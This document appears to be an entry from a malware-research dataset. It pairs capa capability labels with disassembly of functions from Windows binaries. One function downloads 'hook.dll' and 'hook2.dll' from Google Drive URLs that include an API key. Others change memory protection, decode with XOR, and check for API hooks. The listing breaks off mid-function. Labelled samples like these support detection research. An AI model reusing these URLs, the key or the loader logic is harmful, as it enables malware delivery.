joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409370
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x80]
lea rdx, str.Fetching_data...................._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.hook.dll
mov rcx, rax
call fcn.00458cf0
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x41]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_19LQyKMKII0I1e9O6OwE73fXvZBetRJx2_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call fcn.00458cf0
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00402c37
mov dword [rbp - 0x14], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fbc0
cmp dword [rbp - 0x14], 0
js 0x40946f
lea rdx, [0x00496252]
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.hook2.dll
mov rcx, rax
call fcn.00458cf0
jmp 0x409498
lea rdx, str.Failed_to_fetch_data..............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1UkvlqRWq0K8TzzEXsFD4w_4x1Byrbi_R_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call fcn.00458cf0
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00402c37
mov dword [rbp - 0x18], eax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fbc0
cmp dword [rbp - 0x18], 0
js 0x40952d
lea rdx, [0x00496252]
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4095e7
lea rdx, str.Failed_to_fetch_data..............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
jmp 0x40956a
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
jmp 0x409587
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fbc0
mov rax, rbx
mov rcx, rax
call fcn.00418030
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00459260
jmp 0x4095b2
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
jmp 0x4095cf
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fbc0
mov rax, rbx
mov rcx, rax
call fcn.00418030
nop
add rsp, 0x78
pop rbx
pop rbp
ret
Function at 0x416990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004bb0f4]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x416aaa
mov rax, qword [0x004bb0f8]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4169de
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x416a90
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4169c2
mov rcx, rbx
call fcn.004177d0
test rax, rax
mov r12, rax
je 0x416ae2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004bb0f8]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.004178f0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004bb0f8]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x416ac5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x416a89
sub eax, 0x40
and eax, 0xffffffbf
je 0x416a89
mov r9, rbp
add r9, qword [0x004bb0f8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x416ab1
add dword [0x004bb0f4], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x4169eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00416920
mov rax, qword [0x004bb0f8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.00416920
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00416920
nop
nop word cs:[rax + rax]

Function at 0x4176e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x417721
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x417718
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x417723
add rax, 0x28
cmp rax, r9
jne 0x417704
xor eax, eax
repz ret

Function at 0x4177d0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x0049cdf0]
cmp word [rbx], 0x5a4d
je 0x4177f0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.004176a0
test eax, eax
je 0x4177e4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.004176e0
Function at 0x417a40
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004bba40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004bba20]
test rbx, rbx
je 0x417a94
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x417a8b
test rsi, rsi
je 0x417a8b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x417a70
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004bba40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x418230
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.00418170
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x418319
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x4183b8
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x418354
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x418340
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x4183b5
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004181b0
cmp rax, rbx
mov rsi, rax
je 0x4183d0
mov rcx, rbx
call fcn.004227e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004181b0
mov rsi, rax
jmp 0x41838f
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x41838f
mov rcx, rbx
call r13
jmp 0x41838f
Function at 0x423600
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004bc588]
test rbx, rbx
je 0x423630
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004bc588]
test rax, rax
je 0x423654
cmp dword [rax], 0xffffffff
je 0x423675
add rsp, 0x20
pop rbx
ret
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov rbx, rax
mov qword [0x004bc588], rax
jmp 0x423611
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov qword [0x004bc588], rax
jmp 0x423625
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]

Function at 0x423b10
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004bc590]
test rcx, rcx
je 0x423c50
call fcn.00423a80
mov rax, qword [0x004bc588]
test rax, rax
je 0x423c73
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x423b53
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.00423450
test rax, rax
mov rbx, rax
je 0x423cbb
cmp qword [0x004bf050], 0
je 0x423cbb
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x423cc2
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004bc588]
test rax, rax
je 0x423c97
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x423cc2
mov rax, rbx
jmp 0x423b4a
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00428930
mov rcx, rax
mov qword [0x004bc590], rax
jmp 0x423b28
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov qword [0x004bc588], rax
jmp 0x423b3d
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov qword [0x004bc588], rax
jmp 0x423c38
xor eax, eax
jmp 0x423b4a
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.00428930
Function at 0x423cd0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004bc590]
test rcx, rcx
je 0x423c50
call fcn.00423a80
mov rax, qword [0x004bc588]
test rax, rax
je 0x423c73
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x423b53
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.00423450
test rax, rax
mov rbx, rax
je 0x423cbb
cmp qword [0x004bf050], 0
je 0x423cbb
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x423cc2
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004bc588]
test rax, rax
je 0x423c97
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x423cc2
mov rax, rbx
jmp 0x423b4a
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00428930
mov rcx, rax
mov qword [0x004bc590], rax
jmp 0x423b28
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov qword [0x004bc588], rax
jmp 0x423b3d
lea r8, [0x00422a90]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00428930
mov qword [0x004bc588], rax
jmp 0x423c38
xor eax, eax
jmp 0x423b4a
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.00428930
Function at 0x425ec0
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov r14, rcx
mov r12, rdx
mov rsi, r8
mov rdi, r9
call fcn.00423450
test rax, rax
mov rbx, rax
je 0x426071
test r14, r14
je 0x425efa
mov rax, qword [rax + 0x1c8]
mov qword [r14], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbx + 8], rdi
mov rdi, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x10], rsi
mov esi, 1
mov dword [rbx + 0xb4], 0
mov dword [rbx + 0x44], 1
mov qword [rbx + 0x28], 0xffffffffffffffff
mov rbp, r13
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
call rdi
test rax, rax
mov qword [rbx + 0x30], rax
jne 0x426120
cmp esi, 1
jne 0x425f60
xor ecx, ecx
call r13
add esi, 1
jmp 0x425f31
mov ecx, 0x14
call rbp
cmp esi, 5
jne 0x425f57
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx], 0xbab1f00d
mov dword [rbx + 0xb8], 0
mov dword [rbx + 0xb0], 0
test rax, rax
je 0x426057
test r12, r12
je 0x426160
mov eax, dword [r12]
mov rsi, qword [r12 + 0x10]
test al, 8
mov dword [rbx + 0x44], eax
jne 0x4260f0
mov eax, dword [r12 + 0x18]
mov edx, esi
mov dword [rbx + 0xb8], eax
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, rbx
lea r8, [0x00424310]
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov rsi, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x426027
mov edx, dword [rbx + 0xb8]
cmp edx, 0xfffffff2
jl 0x426085
cmp edx, 0xffffffff
jl 0x426110
cmp edx, 0xe
jg 0x426150
cmp edx, 2
mov eax, 2
cmovge edx, eax
jmp 0x42608a
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x426036
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbx + 0x38]
call fcn.004275e0
mov qword [rbx + 0x60], 0xffffffffffffffff
mov qword [rbx + 0x30], 0
mov qword [rbx + 0x28], 0
test r14, r14
je 0x426063
mov qword [r14], 0
cmp qword [rbx + 0x1c0], 0
je 0x426167
mov eax, 0xb
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov edx, 0xfffffff1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [rbx + 0x44], 4
je 0x4260e0
mov rcx, rsi
mov qword [rbx + 0x28], 0
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov qword [rbx + 0x28], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x4260bd
call fcn.00423b10
mov eax, dword [rax + 0xb8]
mov edx, esi
mov dword [rbx + 0xb8], eax
jmp 0x425fcd
mov edx, 0xfffffffe
jmp 0x42608a
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx], 0xbab1f00d
mov dword [rbx + 0xb8], 0
mov dword [rbx + 0xb0], 0
jmp 0x425fa3
mov edx, 0xf
jmp 0x42608a
xor edx, edx
jmp 0x425fcd
mov rcx, rbx
call fcn.00423680
jmp 0x426071
Function at 0x426bd0
Capabilities:
Check mutex on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
mov rcx, qword [0x004bc5d8]
mov esi, edx
test rcx, rcx
je 0x426b70
call fcn.00428cf0
cmp dword [rbx], 0xbab1f00d
jne 0x426b97
mov eax, dword [rbx + 4]
test eax, eax
jle 0x426b97
mov eax, dword [rbx + 4]
test eax, eax
jle 0x426b23
mov eax, dword [rbx + 4]
sub eax, 1
mov dword [rbx + 4], eax
mov rcx, qword [0x004bc5d8]
test rcx, rcx
je 0x426b40
call fcn.00428da0
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea r8, [0x004268b0]
lea rcx, str.mutex_global_shmem
mov edx, 8
call fcn.00428930
mov rcx, rax
mov qword [0x004bc5d8], rax
call fcn.00428da0
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea rcx, str.mutex_global_shmem
lea r8, [0x004268b0]
mov edx, 8
call fcn.00428930
mov rcx, rax
mov qword [0x004bc5d8], rax
jmp 0x426af7
call qword [sym.imp.msvcrt.dll___iob_func]
lea r9, str.C:_crossdev_src_winpthreads_git20141130_src_mutex.c
lea rcx, [rax + 0x60]
lea r8, str._m___valid__LIFE_MUTEX____m___busy___0_
lea rdx, [0x0049c2a0]
mov dword [rsp + 0x20], 0x39
call sub.msvcrt.dll_fprintf
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop
lea r8, [0x004268b0]
lea rcx, str.mutex_global_shmem
mov edx, 8
jmp fcn.00428930
Function at 0x428930
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov r14, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x51]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.00418170
sub rsp, rax
movsxd r15, r14d
movabs rax, 0x656d68732d636367
lea rsi, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r15
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [rsi + r15 + 0x10]
lea r15d, [r14 + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, rsi
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r15d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x428a19
int3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x428ab2
mov rcx, r12
add r14d, 0x10
call sub.msvcrt.dll_malloc
mov r10d, 0x40
mov rbx, rax
bt rbx, r10
jae 0x428a54
mov r11d, r15d
sub r11d, r10d
movsxd r11, r11d
mov byte [rsi + r11], 0x41
sub r10d, 1
jne 0x428a40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x428aaf
mov rdx, rsi
movzx ecx, ax
mov r9d, r14d
mov r8d, r15d
call fcn.004288b0
cmp rax, rbx
mov rsi, rax
je 0x428ac9
mov rcx, rbx
call fcn.004227e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [r14 + 0x10]
mov rdx, rsi
movzx ecx, ax
mov r8d, r15d
call fcn.004288b0
mov rsi, rax
jmp 0x428a89
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x428a89
mov rcx, rbx
call r13
jmp 0x428a89

Function at 0x42a840
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x0047ede0]
lea rcx, str.__terminate_handler_sh
mov edx, 8
jmp fcn.00418230

Function at 0x42a860
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x0047edf0]
lea rcx, str.__unexpected_handler_sh
mov edx, 8
jmp fcn.00418230
Function at 0x45c170
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
mov rcx, rbp
call fcn.0045c050
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x45c1c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x45c18a
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14062b610
Capabilities:
Encode data using xor

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14062b639
pop rbp
sub rbp, 0x29
sub rbp, 0x62b610
jmp 0x14062b699
sub rsp, 0x20
jmp 0x14062b6a9
mov rax, 0x62b610
add rax, rbp
add rax, 0xcb
mov rcx, 0x64a
mov rdx, 0x28955164
xor byte [rax], dl
inc rax
dec rcx
jne 0x14062b6c8
jmp 0x14062b6df
sub al, 0xed
invalid
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
movabs rax, 0x94166f5dfb3d433
mov qword [rsp + 0x78], rax
movabs rcx, 0x59063e8e2afbd788
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
movabs rax, 0x61025974b023552a
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
movabs rax, 0x13b1914f9b8fde6b
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
movabs rax, 0x92d6691dfc7d45d
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
movabs rax, 0x616e5910b00d5546
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
movabs rax, 0x13b1914f9b8fde07
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x20]
mov rax, qword [rsp + 0x78]
movdqa xmm0, xmmword [rsp + 0x20]
movdqa xmm1, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x58], rax
xorps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400011df
mov eax, dword [rax]
mov dword [rsp + 0x78], 0xb8d18b4c
cmp eax, dword [rsp + 0x78]
je 0x140001125
mov ecx, 0xcafebabe
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword gs:[0x60]
mov qword [rsp + 0x70], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
